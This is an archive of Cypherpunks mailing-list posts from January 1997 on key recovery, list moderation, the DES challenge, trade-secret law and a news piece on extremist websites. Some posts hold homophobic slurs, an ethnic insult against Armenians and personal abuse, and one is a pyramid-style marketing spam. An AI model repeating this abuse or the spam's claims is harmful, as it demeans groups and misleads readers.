MIME-Version: 1.0
Content-Type: text/plain


Eric Verheul wrote:
> > To me, Key Recovery cryptography is like using a condom with a
> > hole in it. No thanks.

> Actually, on microscopical level *all* condoms have holes in them;
> the holes are just small enough for you not to worry bout it. The same
> applies to (good!) Key Recovery cryptography: there are holes but not
> big enough for you to worry about!

Not worry?  Really?  What about those pesky little virii that are
*much* smaller than the holes in the condoms?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ares GodOfWar <ares@imaginet-us.net>
Date: Thu, 9 Jan 1997 05:25:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: SafePassage
Message-ID: <32D4F0D2.5DB6@imaginet-us.net>
MIME-Version: 1.0
Content-Type: text/plain


does anyone happen to have a copy of safepassage, the web proxy layin
around??? i am in a big bind & i need it ;]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Barnes <rbarnes@gil.com.au>
Date: Wed, 8 Jan 1997 14:53:31 -0800 (PST)
To: "'dlv@bwalk.dm.com>
Subject: RE: The FAGGOT list
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970108225257Z-13@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
>Brett Carswell <brettc@tritro.com.au> writes:
>> Could someone please forward me the URL of the FAGGOT (are the caps
>> manditory?) detecting software for mailing lists. I feel pretty left out
>> as almost everyone else know who the FAGGOTS are. Is this the same
>> software that detects Cocksuckers or does Dr Dimitri have something of
>> his own. Maybe we could all band together and come up with something
>> that detects Nazi moderators as well.
>
>Everyone who spoke up in favor of moderation is a faggot tentacle.
So does this mean that when you say "faggot" you mean
"a person with views different to your own" rather than
"a male homosexual" or "a bundle of wood, used for fuel"?
>
>I hope this helps.
I think not, a code sample from a "faggbot" would be more
helpful than a rule of thumb.

>Rob Barnes




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Eric Verheul" <everheul@mail.rijnhaave.nl>
Date: Wed, 8 Jan 1997 23:42:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
Message-ID: <199701090741.IAA28828@mail.rijnhaave.nl>
MIME-Version: 1.0
Content-Type: text/plain


>   To me, Key Recovery cryptography is like using a condom with a
> hole in it. No thanks.
Actually, on microscopical level *all* condoms have holes in them; 
the holes are just small enough for you not to worry bout it. The same 
applies to (good!) Key Recovery cryptography: there are holes but not 
big enough for you to worry about!
> 
> Toto
> 
Eric


//My life-time-emailadress is Eric.Verheul@pobox.com
//Use this when emails start bouncing when I have
//switched to my next (inadequate) Internet-provider




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 08:33:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701090118.TAA27824@manifold.algebra.com>
Message-ID: <V9q0ZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Black Unicorn wrote:
> > 
> > On Wed, 8 Jan 1997, Sandy Sandfort wrote:
> > 
> > > C'punks,
> > > 
> > > On Sun, 5 Jan 1997, Black Unicorn wrote:
> > > 
> > > > How will borderline posts be dealt with?  Posts that contain a great de
> > > > of content and thoughful discussion and still manage to contain flames?
> > > > 
> > > > Will flames be an automatic boot for a post (zero tolerance), or will t
> > > > be balanced against post content?
> > > 
> > > Zero tolerance will be my first approximation.  I may modify 
> > > that as I see how things really work out.  So far, though, I
> > > don't recall see any of those "high content with flames" animals.
> > > Most posts are one or the other.
> > 
> > Haven't you been reading my stuff?
> > 
> 
> Indeed, I suggest a zero tolerance policy for posts of Prof. Black 
> Unicorn where content is mixed with flames.
> 
> 	- Igor.

I suggest zero tolerance of Black Unicorn unless and until someone
reveals his real name.

ObModeratorFodder: Fuck the Armenians. Asshole censor John Gilmore
likes to suck big dicks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Thu, 9 Jan 1997 07:13:23 -0800 (PST)
To: "Cypherpunks" <cypherpunks@toad.com>
Subject: RE: New Release: Universal Data Cryptography Module V2.0
Message-ID: <n1359317601.20305@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


_______________________________________________________________________________
From: Black Unicorn on Thu, Jan 9, 1997 6:10

>On Wed, 8 Jan 1997 DataETRsch@aol.com wrote:
>
>> Integrated Mathematical Data Manipulation and Positioning. Extensive
research
>> shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.
>
>What research?
>What is "extensive?"
>What is "more advanced?"


Paraphrasing a glossary of Comp-Sci terms I received in email, and using it 
to translate the second sentence above "Extensive research . . . PGP.":

After trying unsuccessfully to get the damned thing to work for a very long
time, we finally got it to work.  Now it's so patched up we can't figure out
what it's doing.

PM




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: serw30@laf.cioe.com
Date: Thu, 9 Jan 1997 07:02:45 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Moderation and the Polymorphic Virus
Message-ID: <199701091505.KAA02069@laf.cioe.com>
MIME-Version: 1.0
Content-Type: text/plain


> To:            cypherpunks@toad.com

> serw30@laf.cioe.com writes:
> >  Yes, lets create polymorphic viruses and CPU cycle stealing Java 
> > applets. Maybe even a new and improved Internet worm...
>
Dr.Dimitri Vulis KOTM writes: 
> "Cypher punks" can't write any code - be it mail filters, viruses, or crypto.
> 
Aw,  surely "Cypher punks" can write some sort of code. Batch files, 
Macros for Word, programs for  Logo or Turtle graphics, tell me it 
isn't so!   
Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Thu, 9 Jan 1997 01:56:35 -0800 (PST)
To: "'IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=Cypherpunks+40toad+2Ecom+3B@chemson.com>
Subject: A vote of confidence for Sanderson.
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970109100036Z-508@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


After reading all of these people babbling on about giving a vote of
confidence for Sandy I decided that I should also.

I have full confidence in Sandy:-)

(Well it normally works over here in the U.K...if a football manager
receives a vote of confidence from the board of directors it is a
foregone conclusion that his resignation will be handed in or his P45
will be handed out within days!)

Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 08:11:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM Opens Bin
Message-ID: <1.5.4.32.19970109160641.008b743c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


IBM announced today that it will make available free 
to the public its vast bin of 2 million US patents formerly 
accessible only to its own engineers and attorneys:

   http://patent.womplex.ibm.com/

   Welcome to the IBM Patent Server. With this World Wide
   Web server, IBM lets you access over 26 years of U.S.
   Patent & Trademark Office (USPTO) patent descriptions
   as well as the last ten years of images. The first entries date
   back to January 5, 1971. You can search, retrieve and study
   over two million patents.

NYT has a report about it: www.nytimes.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 08:11:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto Punch
Message-ID: <1.5.4.32.19970109160701.00882fc8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Punch in "cryptography" at the IBM patent site and
ogle: you won't believe your oozing orbs.

   http://patent.womplex.ibm.com/

Then try other bell-ringers of this punch-drunk ring.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Thu, 9 Jan 1997 11:49:26 -0800 (PST)
To: Stephen Boursy <boursy@earthlink.net>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <32D4E3B1.2B54@earthlink.net>
Message-ID: <Pine.3.89.9701091121.A2331-0100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997, Stephen Boursy wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Dave Hayes <dave@kachina.jetcafe.org> writes:
> > 
> >> Black Unicorn writes:
> >>
> >> > More fear from Mr. Thorn that his own time in the spotlight might be
> >> > drawing to a close.  God forbid his captive audience might vanish.
> >>
> >> Tell me, how can an audience be captive when they control the "delete"
> >> key?
[snip]
> > 
> > 
> > P.S. They lie about their killfiles, of course - Ray Arachelian,
> > Paul Bradley, et al follow up on everything posted by the people
> > they claim to have killfiled! Their follow-ups are obsessive and
> > repetitive: "I've *plonked* you, so I have the last word, nyah
> > nyah". And the next day they reply to the same people they claim
> > to be ignoring.
> > 
> 
>   Those who publically *plonk* always lie from my experiences--they
> are dishonest people.  Most who publically killfile not only still
> read you but they are already obsessed with you and follow your
> every word--their sole goal (and this is the sad part about their
> lives) is to try to prevent others from reading your words.
> 
>                            Steve
> 
Not necessarily, Steve - some people plonk others by filtering their mail 
to a folder called "trash" or "crap-messages" or whatever, so they don't 
have to read them at the same time they read the rest of their messages.  
Then they go through the trash folder later on just to see if they threw out 
anything that they shouldn't have, see the messages by the people they 
killfiled, and reply to some of them.  They HAVE plonked the person, but 
they can still read and reply to the plonked messages if they choose.  

IMO, this is a better way to killfile than redirecting everything to 
/dev/null, because if someone has a history of violently flaming whatever 
you say (like some people on this list who shall remain nameless), you don't 
have to read their flames at the same time with the rest of the mail, but 
still have the option of reading and replying to them later on if you so 
choose.  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 10:33:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701091007.EAA05240@mailhub.amaranth.com>
Message-ID: <y7V0ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> Well I guess I will not need to worry about them since I will never run any G
> reguardless how may laws the jackboots in DC pass.

That's from the same guy who endorses censorship on this mailing list...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 10:34:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Cypher punks" can't write code
In-Reply-To: <199701091505.KAA02069@laf.cioe.com>
Message-ID: <cew0ZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


serw30@laf.cioe.com writes:

> > serw30@laf.cioe.com writes:
> > >  Yes, lets create polymorphic viruses and CPU cycle stealing Java 
> > > applets. Maybe even a new and improved Internet worm...
> >
> Dr.Dimitri Vulis KOTM writes: 
> > "Cypher punks" can't write any code - be it mail filters, viruses, or crypt
> > 
> Aw,  surely "Cypher punks" can write some sort of code. Batch files, 
> Macros for Word, programs for  Logo or Turtle graphics, tell me it 
> isn't so!   
> Eric

It isn't so.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 9 Jan 1997 12:20:00 -0800 (PST)
To: fod@brd.ie
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
Message-ID: <199701092014.MAA00701@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: "Frank O'Dwyer" <fod@brd.ie>
> However, what if there was a safe scripting language with bignum
> arithmetic and other cryptographic primitives, and what if
> lots of people ran a service that would accept scripts in 
> that language and respond with the answer?  Say, a Safe-TCL 
> interface to Peter Gutmann's cryptlib, running at idle 
> priority?  Sort of like a distributed batch queue, and also 
> a bit like the way jobs are (were?) submitted to Crays.  The 
> Cypherpunks Super Computer. It need not be significantly slower 
> than raw code if the primitives are high level enough.

A few years ago I coded up a TCL interface to Pr0duct Cypher's
PGPTOOLS library.  It did bignum arithmetic from the command line,
and also let you use MD5 and IDEA on files and buffers.  Unfortunately
I had a major disk crash and was never able to recover my last version,
and I never got back to it.

Safe-TCL has never gotten the scrutiny of Java, but IMO if it ever
does it will be found to suffer from its own flaws.  At this point
I think Java is farther along the path to safety.

I do like the idea of a widely available, installed, crypto-capable
scripting language.  This would be an ideal basis for trying out new
crypto protocols and algorithms, without having to write a whole program
from scratch.  We have been talking about setting up DC nets for years,
for example.  The concept is so simple as to be almost trivial.  But
the infrastructure is the hard part - dealing with the I/O issues, the
multiple architectures, all the configuration issues.

I suspect that Java, when it gets its security API, may be a good
candidate for this kind of system.  It's already got high level socket
I/O, and with a bignum package and some basic crypto primitives like
one way functions, you could do a lot with it.  You still have the
problem of trading off safety for utility, though.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 9 Jan 1997 12:19:59 -0800 (PST)
To: fod@brd.ie
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
Message-ID: <199701092015.MAA00707@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


[Sorry if this is a re-post...]

From: "Frank O'Dwyer" <fod@brd.ie>
> However, what if there was a safe scripting language with bignum
> arithmetic and other cryptographic primitives, and what if
> lots of people ran a service that would accept scripts in 
> that language and respond with the answer?  Say, a Safe-TCL 
> interface to Peter Gutmann's cryptlib, running at idle 
> priority?  Sort of like a distributed batch queue, and also 
> a bit like the way jobs are (were?) submitted to Crays.  The 
> Cypherpunks Super Computer. It need not be significantly slower 
> than raw code if the primitives are high level enough.

A few years ago I coded up a TCL interface to Pr0duct Cypher's
PGPTOOLS library.  It did bignum arithmetic from the command line,
and also let you use MD5 and IDEA on files and buffers.  Unfortunately
I had a major disk crash and was never able to recover my last version,
and I never got back to it.

Safe-TCL has never gotten the scrutiny of Java, but IMO if it ever
does it will be found to suffer from its own flaws.  At this point
I think Java is farther along the path to safety.

I do like the idea of a widely available, installed, crypto-capable
scripting language.  This would be an ideal basis for trying out new
crypto protocols and algorithms, without having to write a whole program
from scratch.  We have been talking about setting up DC nets for years,
for example.  The concept is so simple as to be almost trivial.  But
the infrastructure is the hard part - dealing with the I/O issues, the
multiple architectures, all the configuration issues.

I suspect that Java, when it gets its security API, may be a good
candidate for this kind of system.  It's already got high level socket
I/O, and with a bignum package and some basic crypto primitives like
one way functions, you could do a lot with it.  You still have the
problem of trading off safety for utility, though.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 9 Jan 1997 09:42:07 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: SSL Insecurity
Message-ID: <3.0.32.19970109124118.00920db0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


A while back, someone posted an article on the insecurity of Netscape's
implementation of SSL.  Can someone send me back that article, or a few
pointers as to where I can find related information?

Thanks,
Rick


Rick Osborne / osborne@gateway.grumman.com / Northrop Grumman Corporation
-------------------------------------------------------------------------
"Get that finger out of your ear! You don't know where that finger's
been!" 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sls123@prodigy.net
Date: Thu, 9 Jan 1997 10:25:59 -0800 (PST)
Subject: Let you know!!
Message-ID: <199701091823.NAA80912@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Please forgive me for this e-mail, but I felt I just had to let more
people know about this and get in on the ground floor!

If you don't want to read it, please type "REMOVE" in the subject line.
I won't contact you again.

The program I am involved in incorporates "Spillover".  Spillover is
probably one of the best ideas ever developed for network marketing.
Here's why:  Anyone I sponsor after you, will probably be placed under
you.  You then earn commissions on these new people as if you had
signed them up!  Why?  The way the program works I am trying to fill
my downline and I can only have so many people on each level.  After a
given level is full, anyone else I sponsor "spills over" to the next
level.  This is where they start getting placed under you.  So you
see, it doesn't matter if you sign them up or I do, in the end the
result is the same.                   

I just signed up Monday and I already have 10 members in my downline,
just from SPILLOVER!  

        Nest Egg is in pre-Launch until April 1st, 1997

             * You will receive check each month *
                      * Free Sign Up! *
       
The program just started, in fact it has less than 550 members.  This
IS the ground floor!  The company is advertising in several major
print publications next month!  I have been in several MLM's and I can
finally say; "This is the one I've been looking for!"  If you know
what it's like to lose sleep because your so exited, email me NOW!

Don't miss this opportunity, email me for URL & sponsor information. 

Thanks,
Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Thu, 9 Jan 1997 14:07:52 -0800 (PST)
To: Dan Geer <geer@OpenMarket.com>
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <85263054520588@cs26.cs.auckland.ac.nz>
Message-ID: <199701092146.NAA02693@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


Dan Geer writes:
 > 
 >     I'm still a bit nervous about what the reaction will be though
 >     - won't the US government (and anyone else pushing DES) be able
 >     to say "It took 10,000 Pentiums several weeks, noone would
 >     bother doing that, so it's safe"...
 > 
 > this seems a good moment to remind ourselves
 > that we will never know as much about another
 > cipher as we know about DES.
 > 
 > ipso facto, i'd like to simply use the efficiency
 > of price discovery by auction and see what I can
 > buy the DES-key-of-your-choice for.  my bet: there
 > are a lot of interesting DES keys available for
 > less than $10K

     This is an excellent idea.  Do the rules of RSA's challenge allow
for bribing the holder of the contest keys?  What a headline --

          "DES Challenge Broken In 15 Minutes"

Then there's the rubber hose method....

Patrick May
(who does not advocate the initiation of force for a mere $10k)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Thu, 9 Jan 1997 13:45:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: SSL Insecurity
In-Reply-To: <3.0.32.19970109124118.00920db0@gateway.grumman.com>
Message-ID: <32D567A5.794B@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> A while back, someone posted an article on the insecurity of
> Netscape's implementation of SSL.  Can someone send me back that
> article, or a few pointers as to where I can find related information?

As far as I know, all holes in our SSL implementation were fixed long
ago.  If anyone knows of any that still exist, I'd love to hear about
them.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Thu, 9 Jan 1997 11:06:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701091849.AA20178@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


A warning label ought to be tattooed on Tim C. May's 
head, saying `Warning: shit content under pressure'.

          o-:^>___? Tim C. May
          `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 9 Jan 1997 14:29:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.GSO.3.95.970107184550.4939C-100000@well.com>
Message-ID: <32D570EC.2E33@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Tue, 7 Jan 1997 18:44:07 -0800 (PST)
> From: Declan McCullagh <declan@well.com>
> To: fight-censorship@vorlon.mit.edu
> Subject: If guilty of a lesser crime, you can be sentenced for a greater

Hmm. Thanks for keeping the list on-topic.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@c2.net>
Date: Thu, 9 Jan 1997 15:21:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Trade secrets / moderator liability
Message-ID: <3.0.32.19970109151839.006b554c@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



As reported by Michael Froomkin's correspondent, the Uniform Trade Secrets
Act <http://www.execpc.com/~mhallign/usta.html> (enacted with local
modifications in, as I understand it, 40 states, among them California)
says that third parties may be held liable for misappropriation of a trade
secret where the third party knows or has reason to know that they are
doing so.

For example, California Civil Code section 3426.3 says:

3426.3.(a) A complainant may recover damages for the actual loss caused by
misappropriation.  A complainant also may recover for the unjust enrichment
caused by misappropriation that is not taken into account in computing
damages for actual loss.
   	(b) If neither damages nor unjust enrichment caused by misappropriation
are provable, the court may order payment of a reasonable royalty for no
longer than the period of time the use could have been prohibited.
	(c) If willful and malicious misappropriation exists, the court may award
exemplary damages in an amount not exceeding twice any award made under
subdivision (a) or (b).

And misappropriation is defined in California Civil Code section 3426(1)(b)
as:

(1) Acquisition of a trade secret of another by a person who knows or has
reason to know that the trade secret was acquired by improper means; or
(2) Disclosure or use of a trade secret of another without express or
implied consent by a person who:
   (A) Used improper means to acquire knowledge of the trade secret;
or
   (B) At the time of disclosure or use, knew or had reason to know that
his or her knowledge of the trade secret was:
   (i) Derived from or through a person who had utilized improper means to
acquire it;
   (ii) Acquired under circumstances giving rise to a duty to maintain its
secrecy or limit its use; or
   (iii) Derived from or through a person who owed a duty to the person
seeking relief to maintain its secrecy or limit its use; or
   (C) Before a material change of his or her position, knew or had reason
to know that it was a trade secret and that knowledge of it had been
acquired by accident or mistake.

My other concern about moderator liability for approving/distributing trade
secret material is in the criminal context. For example, the Economic
Espionage Act of 1996 (HR 3723, now found at 18 USC 1831 et seq,
<ftp://ftp.loc.gov/pub/thomas/c104/h3723.enr.txt> ) says that some trade
secret violations are now a federal crime; and California Penal Code
section 499c(b) also criminalizes some wrongful acts relating to trade
secrets. Specifically, I think it's feasible to find aiding & abetting
(and, more remotely, conspiracy) liability where a moderator knowingly and
substantially contributes to public disclosure of a trade secret. 

It seems to me that there's a murky middle period, where the trade secret
is known to some wrong people, but is still substantially a secret, where
third party liability is present. But once a wide distribution of the
secret is made, I don't think it's meaningful to talk about further
distribution as misappropriation. If there's no common-sense "it's no
longer a secret" safety valve, trade secret would provide time-unlimited
protection to publically available information, which I think would be
preempted by (or frustrate the purpose of) Congress' limited grants of
protection to information via patent and copyright. But this is only my
conjecture about how things ought to work, given the responsibilities
created for third parties by statutes like the UTSA; I don't know of cases
on this issue and given my work/bar review schedule, won't have time to
find them any time soon.

Also, as I mentioned in my previous message, I think there are good
arguments that neither of the prominent trade secret disclosures I'm
familiar with that have occurred (in part) via the list would create
moderator liability. I'm mentioning moderator liability (and writing what's
turning into a long message about it) not because I think it's an
especially big danger but because I think it's an interesting public policy
issue. 

I don't have the teeniest clue how other nations' laws might treat third
parties who assist or enable the wide dissemination of trade secret
materials. Perhaps other list members can offer a local perspective. 


--
Greg Broiles
gbroiles@c2.net
510-986-8779 voice
510-986-8777 fax




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Thu, 9 Jan 1997 12:41:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701092024.AA21298@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


>
>The Path To Revolution
>
>You Don't Have To Be There To Experience It
>
>By Linton Weeks
>Washington Post Staff Writer
>Thursday, January 9 1997; Page C5
>The Washington Post 
>
>The computer is a revolutionary tool.
>
>It really is. Revolutionaries, counterrevolutionaries, 
>extremist groups, radical wings, separatist movements, 
>cults, and their critics and sympathizers are aswarm on 
>the Net. Never before have so many people had direct access 
>to information from every angle. It's like a teeming
>hive of Gutenbergs. 
>
>For instance, the Tupac Amaru Revolutionary Movement, 
>the Peruvian guerrillas who took hostages in the Japanese 
>embassy in Lima just before Christmas, has a Web presence. Its
>"Solidarity Page," with a link to the official Spanish-language 
>Tupac Amaru site in Europe, is nursed by a Toronto-based group 
>called Arm the Spirit.
>
>The solidarity page is touted on a more elaborate site 
>sponsored by the U.S. Committee to Support the Revolution in 
>Peru. Based in Berkeley, this committee sings the song of the
>Communist Party of Peru, also known as Shining Path.
>
>"Welcome to a real revolution in cyberspace!" reads the 
>Shining Path page. "We expose the lies about the 
>revolution put forward by the U.S.-backed Fujimori regime and 
>its apologists, while opposing U.S. and other foreign 
>intervention. We organize against the repression and
>terror directed at the revolution and the Peruvian people."
>
>Sinn Fein, the radical political wing of the Irish Republican 
>Army, the armed and rebellious Sri Lankan Liberation Tigers 
>of Tamil Eelam and a multitude of U.S.-based "Aryan"
>revolutionaries also have carefully designed Web sites. (Such 
>sites are so devoid of humor that it seems likely these people 
>really are who they say they are.)
>
>These are prime spots for unfiltered propaganda. Here in the 
>home of the free and the frenetic, the Net is protected by 
>the First Amendment and the wholesale distribution of
>political information -- the good, the bad, the ugly -- is as 
>old as Thanksgiving. Thomas Paine would have had an amazing home page.
>
>The Shining Path pages are elaborate. Various links highlight 
>"the crimes of the U.S.-backed Fujimori regime," list the 
>political prisoners in Peru, reprint the press releases of Shining 
>Path and Tupac Amaru and offer a gallery of incendiary souvenirs 
>you can buy -- leaflets, buttons, T-shirts and cassettes of 
>revolutionary music.
>
>The site also gives users a way to "hook up with, support 
>and/or join us." But it warns those interested not to use 
>e-mail, because U.S. government officials might be monitoring 
>it. "We encourage you to contact us by postal mail, phone or fax."
>
>"Terrorist fund-raising is illegal in this country," said one 
>U.S. State Department staffer who was reluctant to talk about 
>the government's monitoring of any Web pages. Speaking only on
>background, the staffer said that extremist Web sites are mostly 
>posted by U.S. citizens and are viewed as domestic material, 
>which is under the jurisdiction of the FBI and the Justice
>Department, both of which have Web sites.
>
>"There is genuine international concern that this information 
>is freely available -- and that it's legal," the staffer said. 
>
>John Russell of the Justice Department said, "There are First 
>Amendment considerations and there are legitimate law enforcement 
>concerns." The Justice Department, he said, would like
>"to find a legal and acceptable procedure" to discover who 
>is posting the information. He said several law enforcement 
>agencies, including the FBI, ATF and DEA, are planning a joint
>meeting soon to discuss the proliferation of such rabble-rousing pages.
>
>The Internet brings the far-flung complexities and dangers of the 
>world a little closer to home. The bright side is that most 
>people savvy enough to use the Internet may also be sophisticated
>enough to sort out the truth in the information supplied by 
>various groups such as Tupac Amaru, Sinn Fein and the Department of Justice. 
>
>GETTING THERE:
>Tupac Amaru at http://burn.ucsd.edu/~ats/mrta.htm
>Shining Path at http://www.calyx.com/~peruweb/csrp.htm
>Sinn Fein at http://www.irlnet.com/sinnfein
>Liberation Tigers of Tamil Eelam at http://www.eelam.com
>State Department at http://www.state.gov
>FBI at http://www.fbi.gov
>Department of Justice at http://www.usdoj.gov.
>
>(Source: The Washington Post, http://www.washingtonpost.com)
>
>----
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Douglas Barnes <cman@c2.net>
Date: Thu, 9 Jan 1997 15:47:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Escrow Good, GAK Bad
Message-ID: <3.0.32.19970109154528.00a89ec0@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain




This whole line of reasoning is exactly what the government
is preying on -- and it's working with a lot of people. However,
it's a red herring.

By and large, the government doesn't care about file-level
encryption, the sort where the Key Escrow systems you're 
outlining would be useful. Furthermore, this kind of encryption
can be done pretty much in isolation -- it's not a communication
medium, so it's less susceptible to attacks on standardization.

What the government is mostly concerned with is encryption that's
used for communicating, where there is no similar feeling on the
part of individuals or industry that something like key escrow
is needed. It is a classic bait-and-switch maneuver.

Furthermore, if people really wanted Key Escrow, the government
wouldn't have to be putting the thumbscrews to software companies
to get them to adopt it -- the market would perform this function
quite nicely.

FWIW,

Doug


At 04:31 PM 1/9/97 -0500, you wrote:
>>  To me, Key Recovery cryptography is like using a condom with a
>>hole in it. No thanks.
>
>I agree in principle, and I doubt I would ever use a key recovery system 
>if I had a choice.  But, speaking as a network manager, I know that 
>private key recovery (not GAK) can be an enhancement to security.  
>
>I'll give an example.  About a year ago, my boss wanted to protect his 
>file of annual financial projections for the company from prying eyes on 
>our Macintosh network.  I installed CurveEncrypt on his machine, showed 
>him how to use it, and gave him the standard lecture on choosing a good 
>passphrase.  I stressed that he needed to chose a passphrase easy to 
>remember, because if he forgot it, there was no way to get his file back.
>
>Well, he forgot his passphrase.  He spent an hour trying every 
>combination he could think of, interjecting a curse here and there for 
>color.  He is now totally off using encryption to protect sensitive 
>information.  He refuses to use it, and he discourages anyone in the 
>office from using it.  I know that his position is unfair, but he _is_ 
>the boss, so he makes the rules.  
>
>And he is a typical computer user.  If your average joe forgets his 
>passphrase and loses two days worth of work, he's not likely to encrypt 
>his work again.  (Or he's likely to write down his passphrase in the 
>future).  If we were using a Key Escrow system, this situation could have 
>been avoided.  Yes, using a key escrow system is less secure that using a 
>non-key escrow system, but I'd argue that using a strong key escrow 
>system is better than using no encryption at all in situations like this. 
> Our network is less secure that it could be because of one user's bad 
>experience.
>
>Ken
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
